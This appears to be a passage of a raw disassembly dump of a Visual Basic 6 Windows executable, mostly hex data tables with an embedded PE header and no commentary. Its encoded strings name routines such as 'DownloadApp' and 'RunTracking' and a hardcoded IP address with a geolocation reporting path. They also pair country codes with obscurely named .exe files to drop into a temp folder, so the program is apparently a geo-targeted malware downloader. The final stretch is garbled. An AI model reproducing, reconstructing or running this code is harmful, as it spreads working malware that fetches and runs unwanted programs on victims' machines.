		dd 450700h, 17F0901h, 30350h, 0D0751h, 60550h, 20900h
		dd 40450h, 660800h, 0B0651h, 0D60900h, 30350h, 430800h
		dd 890600h, 460900h, 50450h, 0CC0800h, 640700h,	18F0901h
		dd 30350h, 8D0700h, 500h, 110851h, 40450h, 5C0800h, 90650h
		dd 0B40900h, 30350h, 300800h, 730600h, 340900h,	50450h
		dd 0A80800h, 500700h, 16F0901h,	30350h,	80800h,	60550h
		dd 0F0900h, 40450h, 6C0800h, 10700h, 230953h, 30350h, 4C0800h
		dd 70650h, 710900h, 50450h, 0DC0800h, 700700h, 18D0902h
		dd 30350h, 8B0700h, 500h, 0A0850h, 40450h, 560800h, 80650h
		dd 950900h, 30350h, 200800h, 650600h, 2E0900h, 50450h
		dd 800800h, 4D0700h, 1470901h, 30350h, 1020750h, 60550h
		dd 90900h, 40450h, 690800h, 0B0651h, 0EC0900h, 30350h
		dd 480800h, 890600h, 5D0900h, 50450h, 0D40800h,	680700h
		dd 15D0902h, 30350h, 0FF0700h, 500h, 170852h, 40450h, 610800h
		dd 90650h, 0C30900h, 30350h, 3F0800h, 730600h, 390900h
		dd 50450h, 0B80800h, 520700h, 1370901h,	30350h,	100800h
		dd 60550h, 180900h, 40450h, 6F0800h, 400700h, 10F0901h
		dd 30350h, 510800h, 70650h, 7F0900h, 50450h, 0E80800h
		dd 720700h, 1650903h, 30350h, 740700h, 500h, 0F00800h
		dd 40450h, 530800h, 80650h, 850900h, 30350h, 140800h, 650600h
		dd 1F0900h, 50450h, 750800h, 450700h, 0FD0901h,	30350h
		dd 0D0751h, 60550h, 1B0852h, 40450h, 630800h, 0B0651h
		dd 0D30900h, 30350h, 420800h, 890600h, 410900h,	50450h
		dd 0C00800h, 640700h, 10D0901h,	30350h,	8D0700h, 500h
		dd 0F0851h, 40450h, 570800h, 90650h, 0A40900h, 30350h
		dd 280800h, 730600h, 320900h, 50450h, 880800h, 500700h
		dd 0ED0901h, 30350h, 40800h, 60550h, 0E0900h, 40450h, 6A0800h
		dd 10700h, 1F0952h, 30350h, 490800h, 70650h, 6D0900h, 50450h
		dd 0D80800h, 700700h, 1090902h,	30350h,	8B0700h, 500h
		dd 0FC0800h, 40450h, 550800h, 80650h, 940900h, 30350h
		dd 1C0800h, 650600h, 2C0900h, 50450h, 7D0800h, 4D0700h
		dd 0C50901h, 30350h, 1020750h, 60550h, 70900h, 40450h
		dd 670800h, 0B0651h, 0EB0900h, 30350h, 440800h,	890600h
		dd 580900h, 50450h, 0D00800h, 680700h, 0D90902h, 30350h
		dd 0FF0700h, 500h, 130852h, 40450h, 5F0800h, 90650h, 0BC0900h
		dd 30350h, 330800h, 730600h, 380900h, 50450h, 0B00800h
		dd 520700h, 0B50901h, 30350h, 0C0800h, 60550h, 160900h
		dd 40450h, 6E0800h, 400700h, 8D0901h, 30350h, 4F0800h
		dd 70650h, 7C0900h, 50450h, 0E00800h, 720700h, 0DD0903h
		dd 30350h, 740700h, 500h, 0F80800h, 40450h, 540800h, 80650h
		dd 900900h, 30350h, 150800h, 650600h, 230900h, 50450h
		dd 780800h, 450700h, 810901h, 30350h, 0D0751h, 60550h
		dd 30900h, 40450h, 660800h, 0B0651h, 0D70900h, 30350h
		dd 430800h, 890600h, 4A0900h, 50450h, 0CC0800h,	640700h
		dd 910902h, 30350h, 8D0700h, 500h, 110851h, 40450h, 5C0800h
		dd 90650h, 0B50900h, 30350h, 300800h, 730600h, 350900h
		dd 50450h, 0A80800h, 500700h, 710901h, 30350h, 80800h
		dd 60550h, 110900h, 40450h, 6C0800h, 10700h, 490901h, 30350h
		dd 4C0800h, 70650h, 760900h, 50450h, 0DC0800h, 700700h
		dd 910902h, 30350h, 8B0700h, 500h, 0A0850h, 40450h, 560800h
		dd 80650h, 980900h, 30350h, 200800h, 650600h, 2F0900h
		dd 50450h, 800800h, 4D0700h, 490901h, 30350h, 1020750h
		dd 60550h, 0A0900h, 40450h, 690800h, 0B0651h, 0F40900h
		dd 30350h, 480800h, 890600h, 600900h, 50450h, 0D40800h
		dd 680700h, 610902h, 30350h, 0FF0700h, 500h, 170852h, 40450h
		dd 610800h, 90650h, 0C70900h, 30350h, 3F0800h, 730600h
		dd 3C0900h, 50450h, 0B80800h, 520700h, 390901h,	30350h
		dd 100800h, 60550h, 1B0900h, 40450h, 6F0800h, 400700h
		dd 110901h, 30350h, 510800h, 70650h, 830900h, 50450h, 0E80800h
		dd 720700h, 6D0904h
		dd 50100h, 0D0100h, 120100h, 190100h, 1A0100h, 1E0100h
		dd 270100h, 290100h, 2A0100h, 2D0100h, 370100h,	3A0100h
		dd 3B0100h, 3E0100h, 4B0100h, 590100h, 5A0100h,	5B0100h
		dd 5E0100h, 6B0100h, 790100h, 7B0100h, 7E0100h,	8A0100h
		dd 8E0100h, 920100h, 930100h, 9C0100h, 9D0100h,	9E0100h
		dd 0AC0100h, 0B70100h, 0BD0100h, 0C10100h, 0C40100h, 0C50100h
		dd 0CF0100h, 0DB0100h, 0E60100h, 0E90100h, 0EE0100h, 0F60100h
		dd 0F90100h, 0FB0100h, 0FD0100h, 0FE0100h, 3B0153h, 630154h
		dd 170200h, 2B0200h, 260200h, 470200h, 7A0200h,	860200h
		dd 810200h, 870200h, 970200h, 9A0200h, 990200h,	9B0200h
		dd 0A10200h, 0A50200h, 0A20200h, 0A60200h, 0A70200h, 0AB0200h
		dd 0AA0200h, 0B60200h, 0BB0200h, 0BF0200h, 0BE0200h, 0C20200h
		dd 0C60200h, 0CD0200h, 0CA0200h, 0D10200h, 0E20200h, 0EA0200h
		dd 0E30200h, 0ED0200h, 0EF0200h, 0FA0200h, 0F10200h, 2B0253h
		dd 430254h, 250300h, 530254h, 8F0300h, 430254h,	820300h
		dd 530254h, 9F0300h, 0A90300h, 0B10300h, 0AE0300h, 0B90300h
		dd 0AD0300h, 0B30300h, 0AF0300h, 0CB0300h, 0CE0300h, 0DD0300h
		dd 0D90300h, 0E50300h, 0D20300h, 0DE0300h, 0DA0300h, 0F30300h
dword_40BF30	dd 0F50300h, 220400h, 330353h, 0E10400h, 1000360h, 0D50400h
					; DATA XREF: .data:0040B068o
		dd 830355h, 0F20400h, 0F50300h,	0B20400h, 330353h, 0E70400h
		dd 1000360h, 0DF0400h, 830355h,	730454h, 40450h, 90552h
		dd 1010457h, 4010559h, 810456h,	410555h, 801045Ah, 2001055Ch
		dd 210454h, 110553h, 2010458h, 0C01055Ah, 0C10456h, 1810557h
		dd 10550h, 70651h, 40450h, 0D0552h, 1010457h, 6010559h
		dd 810456h, 610555h, 801045Ah, 4001055Dh, 210454h, 310554h
		dd 2010458h, 1001055Bh,	0C10456h, 3010558h, 50551h, 1801065Bh
		dd 40450h, 90552h, 1010457h, 4010559h, 810456h,	410555h
		dd 801045Ah, 2001055Ch,	210454h, 110553h, 2010458h, 0C01055Ah
		dd 0C10456h, 1810557h, 10550h, 190653h,	40450h,	0D0552h
		dd 1010457h, 6010559h, 810456h,	610555h, 801045Ah, 4001055Dh
		dd 210454h, 310554h, 2010458h, 1001055Bh, 0C10456h, 3010558h
		dd 50551h, 10603h, 20150h, 3001025Ch, 20150h, 30350h, 20150h
		dd 3001025Ch, 20150h, 6001035Dh, 801045Ah, 0C10556h, 4001045Dh
		dd 6001055Dh, 4010459h,	610555h, 3001045Ch, 0C01055Ah
		dd 1001045Bh, 1810557h,	110553h, 0D0652h, 210454h, 190553h
		dd 2001045Ch, 2010558h,	801045Ah, 810556h, 4001045Dh, 1801055Bh
		dd 4010459h, 410555h, 3001045Ch, 6010559h, 1001045Bh, 1010557h
		dd 40550h, 90652h, 210454h, 310554h, 2001045Ch,	3010558h
		dd 801045Ah, 0C10556h, 4001045Dh, 6001055Dh, 4010459h
		dd 610555h, 3001045Ch, 0C01055Ah, 1001045Bh, 1810557h
		dd 110553h, 10603h, 50151h, 10250h, 50151h, 20350h, 50151h
		dd 10250h, 50151h, 30350h, 2A8h	dup(0)
dword_40CC00	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0 ; DATA XREF: sub_402EBD+81o
					; .data:off_414C04o ...
		dd 40h,	8 dup(0)
		dd 0B8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DBF98A8Fh, 3 dup(8897EBCBh), 8899F748h, 8897EBCAh
		dd 889EF4A2h, 8897EBCAh, 889AF422h, 8897EBCAh, 68636952h
		dd 8897EBCBh, 2	dup(0)
		dd 4550h, 3014Ch, 46F720A7h, 2 dup(0)
		dd 10F00E0h, 6010Bh, 5000h, 2000h, 0
		dd 13A0h, 1000h, 6000h,	400000h, 2 dup(1000h), 4, 1, 4
		dd 0
		dd 8000h, 1000h, 0EBD6h, 2, 100000h, 1000h, 100000h, 1000h
		dd 0
		dd 10h,	2 dup(0)
		dd 4D34h, 28h, 7000h, 8B0h, 10h	dup(0)
		dd 228h, 20h, 1000h, 124h, 6 dup(0)
a_text		db '.text',0
		align 4
aB		db 'œB',0
		align 4
		dd 1000h, 5000h, 1000h,	3 dup(0)
		dd 60000020h, 7461642Eh, 61h, 0A0Ch, 6000h, 1000h, 6000h
		dd 3 dup(0)
		dd 0C0000040h, 7273722Eh, 63h, 8B0h, 7000h, 1000h, 7000h
		dd 3 dup(0)
		dd 40000040h, 45D70B04h, 10h, 2	dup(0)
aMsvbvm60_dll	db 'MSVBVM60.DLL',0
		align 4
		dd 36Eh	dup(0)
		dd 73668806h, 7365FE79h, 73676B2Eh, 7366EA4Ch, 7363C164h
		dd 73650DDBh, 73655F5Fh, 736772A2h, 7365F73Ah, 7365FDC1h
		dd 73655F3Ah, 73649CECh, 7365F6EEh, 7364B6BFh, 73649A69h
		dd 73653E62h, 7365F786h, 7365F886h, 7364B8FCh, 7366896Eh
		dd 736564F3h, 7366576Ah, 73643CF7h, 73639A94h, 73658A03h
		dd 73679836h, 73654C30h, 73650EBAh, 73649C21h, 7365FE76h
		dd 73678B65h, 73639AA7h, 7363CD88h, 73668A13h, 736399A5h
		dd 73653CA4h, 7366725Bh, 7365FB09h, 7365F83Ah, 736493C0h
		dd 73677553h, 73650DFAh, 73655E41h, 736542E6h, 73644F71h
		dd 736688ABh, 7363E3EEh, 7364388Ah, 73673C1Dh, 73643DEFh
		dd 7365F7BAh, 7365F8BAh, 7365610Eh, 7364CFA4h, 736560C5h
		dd 7365F7EEh, 7365F229h, 7364E42Fh, 7357357Ch, 73649B3Fh
		dd 73678CF8h, 73676E36h, 73676BF8h, 73678DCCh, 73649AC1h
		dd 73668740h, 736560F4h, 7365E36Dh, 73668AC4h, 7365D191h
		dd 736560B0h, 73649A27h, 2 dup(0)
		dd 80007h, 403C55h, 403CAEh, 403C5Dh, 80007h, 403F8Ah
		dd 403FD1h, 403F91h, 80007h, 404220h, 404256h, 404227h
		dd 140027h, 4044EAh, 404512h, 4044F1h, 0
		dd offset loc_40116E+2
		dd 8, 4042EAh, 4042F1h,	404336h, 404345h, 404367h, 404459h
		dd 404471h, 4044EAh, 0
		dd 80003h, 4045D9h, 4045DEh, 0
		dd 8000Fh, 40475Ch, 404786h, 404763h, 80001h, 4047FAh
		dd 80007h, 40493Ch, 404957h, 404943h, 80007h, 404BBEh
		dd 404BD9h, 404BC5h, 80007h, 404CE6h, 404CF7h, 404CEDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DDF0	proc near		; CODE XREF: .data:00410EBEp
		jmp	dword ptr ds:loc_401054
sub_40DDF0	endp

; ---------------------------------------------------------------------------
		dw 25FFh
		dd offset loc_40108C
		dd 10A025FFh, 25FF0040h, 401040h, 103025FFh, 25FF0040h
		dd 4010C8h, 102025FFh, 25FF0040h, 4010E0h, 104425FFh, 25FF0040h
		dd 4010DCh, 10CC25FFh, 25FF0040h, 401098h, 107425FFh, 25FF0040h
		dd 401094h, 102425FFh, 25FF0040h, 401004h, 110425FFh, 25FF0040h
		dd 401000h, 111425FFh, 25FF0040h, 4010B4h, 104C25FFh, 25FF0040h
		dd 401084h, 111025FFh, 25FF0040h, 40110Ch, 110025FFh, 25FF0040h
		dd 401070h, 10F025FFh, 25FF0040h, 4010FCh, 109C25FFh, 25FF0040h
		dd 4010ECh, 10B825FFh, 25FF0040h, 401050h, 101825FFh, 25FF0040h
		dd 40106Ch, 106025FFh, 25FF0040h, 4010B0h, 10D425FFh, 25FF0040h
		dd 4010E4h, 10AC25FFh, 25FF0040h, 40103Ch, 10C425FFh, 25FF0040h
		dd 401034h, 105825FFh, 25FF0040h, 401068h, 10BC25FFh, 25FF0040h
		dd 4010C0h, 101025FFh, 25FF0040h, 4010D8h, 10A825FFh, 25FF0040h
		dd 401080h, 10A425FFh, 25FF0040h, 4010F8h, 104825FFh, 25FF0040h
		dd 401064h, 100C25FFh, 25FF0040h, 4010F4h, 109025FFh, 25FF0040h
		dd 401008h, 101C25FFh, 25FF0040h, 40111Ch, 103825FFh, 25FF0040h
		dd 401078h, 101425FFh, 25FF0040h, 401118h, 102C25FFh, 25FF0040h
		dd 401028h, 110825FFh, 25FF0040h, 4010D0h, 108825FFh, 25FF0040h
		dd 40105Ch, 107C25FFh, 25FF0040h, 4010E8h, 40155468h, 0FFF0E800h
		dd 0FFFFh, 0
		dd 30h,	40h, 0
		dd 0EFE7037Eh, 4A2A232Dh, 7F161DA1h, 0BD1EBE40h, 0
		dd 10000h, 6E490000h, 6C617473h, 30574D76h, 30316131h
		dd 73003436h, 3642565Ch, 0
		dd 31CCFFh, 0CA537001h,	655FF5E8h, 418D944Dh, 0F566529Dh
		dd 4A841C31h, 621B9297h, 8C4E9042h, 0B030C68Eh,	0AD4F3ABEh
		dd 0CF669933h, 0CB711h,	0D36000AAh, 93h, 8 dup(0)
		dd 0BA00h, 4000h, 50000h, 6D726F46h, 10D0031h, 6F460005h
		dd 316D72h, 42000119h, 0FFFF2300h, 524FFFFh, 726F4600h
		dd 2E00316Dh, 3C3500h, 1590000h, 12480000h, 0C7B0000h
		dd 3460000h, 7301FFh, 5010000h,	656E4900h, 0FF003174h
		dd 6E490014h, 74437465h, 624F736Ch, 7463656Ah, 6E492E73h
		dd 2D007465h, 9424Ch, 3Ah, 12344321h, 8, 2 dup(3EDh), 48E59291h
		dd 60000h, 10000h, 0
		dd 50h,	4 dup(0)
		dd 3C0000h, 68390000h, 3A000001h, 8E8h,	402FFh,	50h, 0E8CA5370h
		dd 4D655FF5h, 9D418D94h, 31F56652h, 5 dup(0)
		dd 90h,	5 dup(0)
		dd 113h, 0
		dd offset loc_4013EC+4
		dd 4Ch,	21354256h, 2A1FF0h, 3 dup(0)
		dd 7Eh,	2 dup(0)
		dd 0A0000h, 409h, 2 dup(0)
		dd offset loc_40173F+1
		dd 30F000h, 0FFFFFF00h,	8, 1, 10001h, 0E9h, 401504h, 4015F0h
		dd 4013ACh, 78h, 83h, 8Eh, 8Fh,	4 dup(0)
aVmw03a1066	db 'vMW03a1066',0
aT200700923	db 'T200700923',0
		dw 7600h
aMw01a1064	db 'MW01a1064',0
		align 10h
		dd 150h, 38h, 2	dup(0)
		dd 0D0h, 0D8h, 0
		dd 0E0h, 48h, 0
		dd 128h, 133h, 148h, 0
		dd 48E59293h, 11CF9880h, 0AA005497h, 809C000h, 48E59292h
		dd 11CF9880h, 0AA005497h, 809C000h, 48E59291h, 11CF9880h
		dd 0AA005497h, 809C000h, 5F8B7FCCh, 48DF3393h, 0F993C39Eh
		dd 91EDDC69h, 68FDD55Ah, 4A5E1ADDh, 5AD198BBh, 5A414401h
		dd 1FFh, 0E6F8h, 0F9844600h, 7CFh, 1335BCE6h, 41562787h
		dd 6EB237AAh, 7BEE71C5h, 2786A618h, 40B85EA6h, 4CD49F9Ah
		dd 0D681FEE1h, 0
aW		db '`',0Bh,'W ',0
		align 4
		dd 10000h, 2 dup(0)
		dd 2 dup(0D100h), 20h, 0DCh, 380037h, 310045h, 440042h
		dd 310044h, 39002Dh, 340039h, 2D0031h, 310031h,	660063h
		dd 39002Dh, 350037h, 2D0036h, 300030h, 410041h,	300030h
		dd 300043h, 390030h, 380030h, 4E49534Dh, 4F2E5445h, 49005843h
		dd 4374656Eh, 4F736C74h, 63656A62h, 492E7374h, 74656Eh
		dd 74656E49h, 14D00h, 1F4h, 401BCCh, 0
		dd offset loc_402EDE+2
		dd offset loc_404D30
		dd 0A04h, 406008h, 4011F6h, 406000h, 5C002Ah, 430041h
		dd 5C003Ah, 720050h, 67006Fh, 610072h, 20006Dh,	690046h
		dd 65006Ch, 5C0073h, 69004Dh, 720063h, 73006Fh,	66006Fh
		dd 200074h, 690056h, 750073h, 6C0061h, 530020h,	750074h
		dd 690064h, 5C006Fh, 420056h, 380039h, 66005Ch,	310030h
		dd 740057h, 310052h, 360030h, 2E0034h, 620076h,	70h, 64h dup(0)
		dd offset loc_401502+2
		dd 0
		dd 1, 401BCCh, 0
		dd offset loc_402DAF+1
		dd 0FFFFFFFFh, 0
		dd offset loc_401C20
		dd offset loc_406006+2
		align 10h
		dd 1E0518h, 3 dup(0)
		dd offset loc_4019F4
		dd 1, 401C9Ch, 0
		dd offset loc_4019F4
		dd 1, 4019FCh, 0
		dd offset loc_4019F4+4
		dd 2, 4019FCh, 1B7000Ah, 6C0068h, 401A4Ch, 4062E0h, 0
		dd 1ECC10h, 401CACh, 401CBCh, 1F0040h, 34h, 401CCCh, 0FFFFFFFFh
		dd 2 dup(0)
		dd offset loc_401A6F+5
		dd 4727BE8h, 401CDCh, 0FFFFFFFFh, 0A0040h, 38h,	401D58h
		dd 30001h, 2 dup(0)
		dd offset loc_401B08	; jumptable 00401ADD case 6
		dd 4727BF8h, 401D68h, 30001h, 401B5Dh, 401B6Ah,	401B77h
		dd 401B84h, 401B91h, 401B9Eh, 401BABh, 401BB8h,	401BC5h
		dd 401B50h, 0
		dd offset loc_4019FC
		dd offset loc_40197C
		dd offset loc_401387+1
		dd offset loc_40138A+4
		dd offset loc_401394
		dd 6 dup(0)
		dd offset loc_401B48	; jumptable 00401ADD case 12
		dd 19h dup(0)
		dd offset loc_401A24
		dd offset loc_40197C
		dd offset loc_401387+1
		dd offset loc_40138A+4
		dd offset loc_401394
		dd 0Ah dup(0)
		dd 4246C81h, 33h, 139BE9h, 246C8100h, 0FFFF04h,	21CEE900h
		dd 6C810000h, 0FFFF0424h, 0B1E90000h, 81000024h, 0FF04246Ch
		dd 0E90000FFh, 2724h, 4246C81h,	0FFFFh,	29C7E9h, 246C8100h
		dd 0FFFF04h, 2A8AE900h,	6C810000h, 0FFFF0424h, 1DE90000h
		dd 8100002Ch, 0FF04246Ch, 0E90000FFh, 2C80h, 4246C81h
		dd 0FFFFh, 2DD3E9h, 246C8100h, 0FFFF04h, 3056E900h, 2 dup(0)
		dd offset loc_40602B+1
		dd offset loc_402DED+3
		dd 0FFFFFFFFh, 0
		dd offset loc_40601B+1
		dd 0C7777C0Ch, 41DCA50Fh, 87AAF1A2h, 4EB6FD23h,	1000Ah
		dd 10001h, 401C20h, 3 dup(0)
		dd offset loc_401C7B+5
		dd 2 dup(409h),	0
		dd 2, 40197Ch, 0FFFFFFFFh, 401E5Ch, 3 dup(0)
		dd offset loc_401C76+2
		dd 0Ah,	401C50h, 0FFFFh, 18083h, 0
		dd 0C14F66B7h, 401DD8h,	401DE4h, 401DF0h, 401DFCh, 401E08h
		dd 401E14h, 401E28h, 401E38h, 401E48h, 6D726F46h, 31h
		dd 30574D76h, 30316131h, 3436h,	974A841Ch, 42621B92h, 8E8C4E90h
		dd 0BEB030C6h, 2970B41Bh, 4DA584B1h, 0F9F70AB4h, 4C775291h
		dd 0E8CA5370h, 4D655FF5h, 9D418D94h, 31F56652h,	145B334Ah
		dd 4A7F41A1h, 0AB920D9Eh, 4C99A7C5h, 33AD4F3Ah,	11CF6699h
		dd 0AA000CB7h, 93D36000h, 6D726F46h, 0
		dd 0FCFB3D2Eh, 1068A0FAh, 838A7h, 0B571332Bh, 505C3A43h
		dd 72676F72h, 46206D61h, 73656C69h, 63694D5Ch, 6F736F72h
		dd 56207466h, 61757369h, 7453206Ch, 6F696475h, 3942565Ch
		dd 42565C38h, 4C4F2E36h, 42h, 4256h, 401CE4h, 0
		dd 6, 9, 401CF4h, 401D2Ch, 4062D0h, 2 dup(0)
		dd 1B6AA8h, 1335BCE6h, 41562787h, 6EB237AAh, 7BEE71C5h
		dd 74656E49h, 31h, 4AD3113Eh, 4E8EE8BFh, 0B73074AFh, 0B030B717h
		dd 575C3A43h, 4F444E49h, 735C5357h, 65747379h, 5C32336Dh
		dd 4E49534Dh, 6F2E5445h, 6163h,	74656E49h, 736C7443h, 656A624Fh
		dd 737463h, 401D70h, 0
		dd 1, 0
		dd offset loc_401D7C+4
		dd offset loc_401D9C+4
		dd offset loc_4062D4
		dd 2 dup(0)
		dd 1B6AA8h, 6E776F44h, 64616F6Ch, 707041h, 546E7552h, 6B636172h
		dd 676E69h, 656C6946h, 73697845h, 74h, 45726944h, 74736978h
		dd 73h,	72747845h, 50746361h, 687461h, 63657053h, 63696669h
		dd 656C6946h, 73697845h, 7374h,	61657243h, 4D546574h, 6C6F4650h
		dd 726564h, 61657243h, 4D546574h, 6C694650h, 65h, 656C6544h
		dd 6F446574h, 6F6C6E77h, 70416461h, 70h, 44000Ch, 2 dup(0)
		dd 8, 300031h, 360036h,	0
		dd 0Ch,	4D0076h, 300057h, 610033h, 0
		dd 0Ah,	420052h, 420076h, 6Dh, 12h, 6C0073h, 650050h, 2E006Eh
		dd 6F006Ch, 67h, 18h, 3A0043h, 54005Ch,	6D0065h, 5C0070h
		dd 4F0078h, 5C0065h, 0
		dd 0Eh,	48002Fh, 330033h, 670034h, 2Fh,	8, 650054h, 70006Dh
		dd 0
		dd 6, 4F0078h, 65h, 1Ch, 340036h, 32002Eh, 350032h, 31002Eh
		dd 390035h, 31002Eh, 350037h, 0
		dd 34h,	3A0043h, 57005Ch, 4E0049h, 54004Eh, 53005Ch, 730079h
		dd 650074h, 33006Dh, 5C0032h, 610063h, 63006Ch,	65002Eh
		dd 650078h, 0
		dd 0Ah,	690057h, 32006Eh, 4Bh, 0Ah, 490057h, 4E004Eh, 54h
		dd 14h,	500058h, 57002Dh, 4E0049h, 300032h, 330030h, 0
		dd 0Eh,	490057h, 44004Eh, 57004Fh, 53h,	0Eh, 740068h, 700074h
		dd 2F003Ah, 2Fh, 2Ah, 72002Fh, 700065h,	72006Fh, 690074h
		dd 67006Eh, 49002Fh, 470070h, 6F0065h, 61002Eh,	700073h
		dd 78h,	2, 7Ch,	4, 530055h, 0
		dd 12h,	650072h, 690067h, 2E0074h, 780065h, 65h, 4, 410043h
		dd 0
		dd 12h,	730065h, 6F0075h, 2E006Dh, 780065h, 65h, 4, 4B0055h
		dd 0
		dd 16h,	650072h, 740068h, 61006Eh, 2E0070h, 780065h, 65h
		dd 8, 550045h, 4F0052h,	0
		dd 14h,	740061h, 650065h, 630068h, 65002Eh, 650078h, 0
		dd 0Ah,	54004Fh, 450048h, 52h, 14h, 6E0065h, 6C0069h, 660065h
		dd 65002Eh, 650078h, 0
		dd 6, 3A0043h, 5Ch, 2, 5Ch, 8, 65002Eh,	650078h, 0
		dd 16h,	4, 1, 0
		dd 1730000h, 0FFFFFFFFh, 1, 740h, 52002Fh, 3F003Fh, 760078h
		dd 6D003Fh, 3F0078h, 3D003Fh, 5B007Ah, 1E003Fh,	66006Fh
		dd 4B0031h, 3F0066h, 3F003Fh, 3F000Fh, 6B003Fh,	3F003Fh
		dd 27005Eh, 3F0073h, 2C003Fh, 3	dup(3F003Fh), 3F005Ah
		dd 3F003Fh, 4F0027h, 270063h, 3F003Fh, 1D003Fh,	3F006Ch
		dd 62003Fh, 3F003Fh, 660036h, 31003Fh, 4D003Fh,	3F004Dh
		dd 17003Fh, 3 dup(3F003Fh), 34003Fh, 7C0071h, 3F003Fh
		dd 3F007Fh, 6D003Fh, 35001Ah, 6F003Fh, 3F003Fh,	3F007Dh
		dd 4B003Fh, 3F007Ah, 6C002Fh, 37003Fh, 3F006Eh,	3F006Bh
		dd 3F003Fh, 3B007Eh, 3F003Fh, 4B003Fh, 6F003Fh,	3 dup(3F003Fh)
		dd 37002Bh, 5E006Fh, 33003Fh, 3F003Fh, 6E003Fh,	38005Dh
		dd 3F007Bh, 3F0046h, 3F003Fh, 3F0073h, 2 dup(3F003Fh)
		dd 3F0026h, 75003Fh, 3F003Fh, 3E0002h, 7E003Fh,	61003Fh
		dd 3F0021h, 3F003Fh, 20007Fh, 7B0053h, 3F0035h,	3F0031h
		dd 1B003Fh, 3F003Fh, 42003Fh, 3F0007h, 76007Bh,	2 dup(3F003Fh)
		dd 3F006Bh, 7D003Fh, 3F003Fh, 4A0031h, 750037h,	3F003Fh
		dd 3F0048h, 3F0034h, 3F0069h, 70045h, 2	dup(3F003Fh), 39005Dh
		dd 1A003Fh, 3F003Fh, 64002Eh, 3F0050h, 2 dup(3F003Fh)
		dd 7E003Fh, 7F005Bh, 3F006Ah, 5003Fh, 2F003Fh, 3F006Dh
		dd 6B003Fh, 75003Fh, 54003Fh, 19003Fh, 35003Fh,	3F007Fh
		dd 3F003Fh, 6B0048h, 49003Fh, 2	dup(3F003Fh), 60071h, 7A007Bh
		dd 10063h, 6007Bh, 3F003Dh, 2E0059h, 27003Fh, 21003Fh
		dd 3 dup(3F003Fh), 5C003Fh, 37001Ah, 3F003Fh, 3F00B3h
		dd 3F0039h, 3F003Fh, 35005Ah, 5	dup(3F003Fh), 3F004Fh
		dd 3F003Fh, 1B0013h, 3F003Fh, 0E003Fh, 3F003Fh,	3F0041h
		dd 3F003Fh, 3F0034h, 23003Fh, 15001Eh, 2 dup(3F003Fh)
		dd 750075h, 6D003Fh, 440054h, 700078h, 3F003Fh,	2F003Fh
		dd 340016h, 3 dup(3F003Fh), 3F006Ch, 5 dup(3F003Fh), 5B003Fh
		dd 3F003Fh, 3C0036h, 5D00B4h, 2	dup(3F003Fh), 3F0055h
		dd 16003Fh, 3F0051h, 60003Fh, 2F0037h, 65003Fh,	2 dup(3F003Fh)
		dd 160004h, 3F005Dh, 3F003Fh, 3F000Eh, 3F003Fh,	3D0019h
		dd 3F003Fh, 66003Fh, 320066h, 59001Fh, 3F007Ah,	3F003Fh
		dd 3F0054h, 35003Fh, 110077h, 3F007Fh, 3F003Fh,	15006Fh
		dd 3 dup(3F003Fh), 12003Fh, 40003Fh, 2 dup(3F003Fh), 3F017Dh
		dd 3F0079h, 2 dup(3F003Fh), 70003Fh, 3F005Ch, 2	dup(3F003Fh)
		dd 3A0062h, 3F0041h, 67003Fh, 2	dup(3F003Fh), 3F0020h
		dd 3D002Bh, 7B007Fh, 3F0033h, 3E003Fh, 3F003Dh,	3F003Fh
		dd 0FF003Fh, 6F003Fh, 2	dup(3F003Fh), 7E007Ch, 3F003Fh
		dd 3F007Eh, 7B000Eh, 3F003Fh, 35003Fh, 3F0037h,	3F003Fh
		dd 4D003Fh, 3 dup(3F003Fh), 59003Fh, 17D003Fh, 7C0065h
		dd 3F003Fh, 3F0006h, 3F0060h, 0C00063h,	3F000Eh, 3F007Eh
		dd 280071h, 2 dup(3F003Fh), 30003Fh, 17003Fh, 5B005Ch
		dd 3F0067h, 3F00F7h, 2F003Fh, 1D003Fh, 71003Fh,	3F006Fh
		dd 590067h, 4E003Fh, 240035h, 40003Fh, 3 dup(3F003Fh)
		dd 3E003Fh, 1E006Fh, 3F003Fh, 450043h, 15003Fh,	3F003Fh
		dd 3F0023h, 3F003Fh, 4C007Eh, 3F007Ch, 3D003Fh,	3F003Fh
		dd 43003Fh, 0F003Fh, 3F0032h, 1C003Fh, 3F003Fh,	690042h
		dd 2 dup(3F003Fh), 3F001Fh, 7C003Fh, 76003Fh, 3F007Ch
		dd 3F003Fh, 3F0048h, 3F002Fh, 12003Fh, 2E0064h,	71001Dh
		dd 3E003Fh, 2D003Bh, 3F003Fh, 120077h, 2 dup(3F003Fh)
		dd 5B0005h, 3E003Fh, 3F006Fh, 23003Fh, 1F003Fh,	4F001Ch
		dd 3F005Ch, 7D003Fh, 4E003Fh, 3F003Fh, 2D007Ch,	5F003Fh
		dd 3F0058h, 3F0067h, 2 dup(3F003Fh), 38003Fh, 62003Fh
		dd 3F002Fh, 3003Fh, 3F0045h, 1F003Fh, 3F005Dh, 3F000Fh
		dd 2 dup(3F003Fh), 3F0017h, 1C003Fh, 63007Bh, 3A002Bh
		dd 2 dup(3F003Fh), 3F001Fh, 6A003Fh, 4 dup(3F003Fh), 2F003Fh
		dd 2 dup(3F003Fh), 51003Fh, 2E003Fh, 60003Fh, 3F0073h
		dd 7A0020h, 3F003Fh, 70004Eh, 20003Fh, 39003Fh,	3F003Fh
		dd 7003Fh, 3F00AEh, 2 dup(3F003Fh), 3F005Dh, 3F001Dh, 59005Fh
		dd 140030h, 13003Fh, 3F0016h, 3F003Fh, 65003Fh,	5F003Fh
		dd 3F00BFh, 2F0045h, 2 dup(3F003Fh), 3F0068h, 3F003Fh
		dd 3D003Fh, 3F003Fh, 430075h, 7E004Bh, 1D0070h,	75003Fh
		dd 3F003Fh, 5D0067h, 3F0057h, 3F004Ah, 3F0020h,	3F0007h
		dd 2 dup(3F003Fh), 3F0043h, 3F003Eh, 8003Fh, 7B003Fh, 3F0064h
		dd 76003Fh, 2F0032h, 150062h, 39003Fh, 62007Ch,	3F003Fh
		dd 3F0024h, 28003Fh, 380065h, 79007Fh, 5F003Fh,	3F003Fh
		dd 161003Fh, 3F003Fh, 3F003Dh, 2 dup(3F003Fh), 3B003Fh
